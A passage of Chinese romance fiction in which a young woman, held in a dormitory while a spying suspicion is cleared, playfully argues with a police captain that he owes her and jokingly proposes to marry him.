等解除嫌疑的过程是有点艰苦的。 孟逐溪虽然住的是宿舍楼,但宿舍却是给她“定制”的宿舍。单人间,有一个阳台,带独立卫生间,此外什么都没有。没有电话、没有手机、甚至没有信号,不允许和外界联络。一日三餐有专人送来,虽然没人看守,但原则上不允许离开宿舍,有特殊情况向长官申请。 “长官是你吗?”孟逐溪心怀侥幸地问周淮琛。 周淮琛一脸不近人情:“你觉得是不是我,有区别吗?” 孟逐溪点了点头:“嗯,那就是你。” 周淮琛:“……” 孟逐溪忽然笑眯眯凑到他面前,小小声地说:“你不能亏待我哦,长官。” 周淮琛闻言挑了下眉,心说他怎么就亏待她了? 就她目前这样,已经是他在不徇私的底线上能为她争取到的最好条件了。不然她现在人就不是在他这儿,而是在派出所了。 周淮琛来兴致了,后背靠上宿舍大白墙,双手抱胸,好整以暇反问:“我怎么就不能亏待你了?” 宿舍配的一米二的床,不宽,白床单还有一股淡淡的阳光的味道,应该是来之前周淮琛才让人铺上去的。孟逐溪放松地往后一坐,人悬在床沿,双手撑在两侧,仰头笑盈盈地望着周淮琛,问他:“你听说过缘分吗?” 周淮琛乐了,一条腿微曲,靠在另一条腿上,整个人比起刚才的严肃,彻底放松下来。 大概是因为听到了一个实在好笑的笑话。 “警察和嫌疑人的缘分?” 这间宿舍不大,进门左手边是卫生间,正中放了一张一米二的床,靠窗边放了一张茶桌两把椅子,往外是阳台。远处,有操场上训练的口号声传进。 男人靠在玄关的墙面,孟逐溪坐在宿舍的床沿。 孟逐溪一本正经纠正他:“不是,是亏欠和被亏欠的缘分。” 周淮琛:“……?” 啥玩意儿? 他怎么还亏欠上她了? 孟逐溪一板一眼向他解释:“你看,我根本就不是间谍,也从来没有做过违反道德和法律的事,你非把我带回来接受调查。行吧,配合公安机关调查是每一位公民应尽的义务,我愿意跟你回来的。但现在调查已经初步解除我的嫌疑了,如果你还不对我好点儿,那你就算是亏欠我了。” “周队长,你有没有听说过因果?”孟逐溪煞有介事地问。 周淮琛:“……” 他听没听说过,他都感觉自己要被这丫头套进去了。 孟逐溪双手往后滑,微微撑着自己后仰的身子,以一个十分放松愉悦的姿势,仰脸对着周淮琛:“就是说,人生在世,欠的债总是要还的,不在这里还,也会在那里还。你看,你如果现在亏欠了我,将来可是要拿别的还的。” 她身上的裸色开衫微微下滑,又滑得不多,刚好露出一点点小巧白皙的肩膀。开衫里面是一条v领修身的吊带连衣裙,真丝,掐腰,布料到小腿长度,上面大片印花像莫奈笔下的油画,朦胧且绚丽,衬得她露在外面的肌肤白得晃眼。 周淮琛移开目光,哼笑了一声:“拿什么还?” 孟逐溪两条纤细白皙的小腿在床边轻轻晃荡,柔美朦胧的大桃花眼直直看着他,说:“以身相许怎么样?”